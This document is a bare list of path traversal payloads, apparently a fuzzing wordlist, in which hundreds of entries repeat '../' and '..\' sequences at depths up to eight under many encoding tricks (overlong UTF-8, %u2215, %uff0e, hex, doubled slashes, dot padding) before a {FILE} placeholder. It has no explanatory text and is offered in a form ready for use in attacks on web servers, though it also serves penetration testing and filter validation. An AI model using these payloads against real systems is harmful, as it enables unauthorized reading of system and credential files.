.../.../.../.../.../.../.../.../{FILE}<br /> ...\{FILE}<br /> ...\...\{FILE}<br /> ...\...\...\{FILE}<br /> ...\...\...\...\{FILE}<br /> ...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\...\...\{FILE}<br /> ..../{FILE}<br /> ..../..../{FILE}<br /> ..../..../..../{FILE}<br /> ..../..../..../..../{FILE}<br /> ..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../..../..../{FILE}<br /> ....\{FILE}<br /> ....\....\{FILE}<br /> ....\....\....\{FILE}<br /> ....\....\....\....\{FILE}<br /> ....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\....\....\{FILE}<br /> ........................................................................../{FILE}<br /> ........................................................................../../{FILE}<br /> ........................................................................../../../{FILE}<br /> ........................................................................../../../../{FILE}<br /> ........................................................................../../../../../{FILE}<br /> ........................................................................../../../../../../{FILE}<br /> ........................................................................../../../../../../../{FILE}<br /> ........................................................................../../../../../../../../{FILE}<br /> ..........................................................................\{FILE}<br /> ..........................................................................\..\{FILE}<br /> ..........................................................................\..\..\{FILE}<br /> ..........................................................................\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\..\..\{FILE}<br /> ..%u2215{FILE}<br /> ..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> %uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> ..%u2216{FILE}<br /> ..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uF025{FILE}<br /> ..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> %uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> ..0x2f{FILE}<br /> ..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> 0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> ..0x5c{FILE}<br /> ..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> 0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> ..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> %c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> 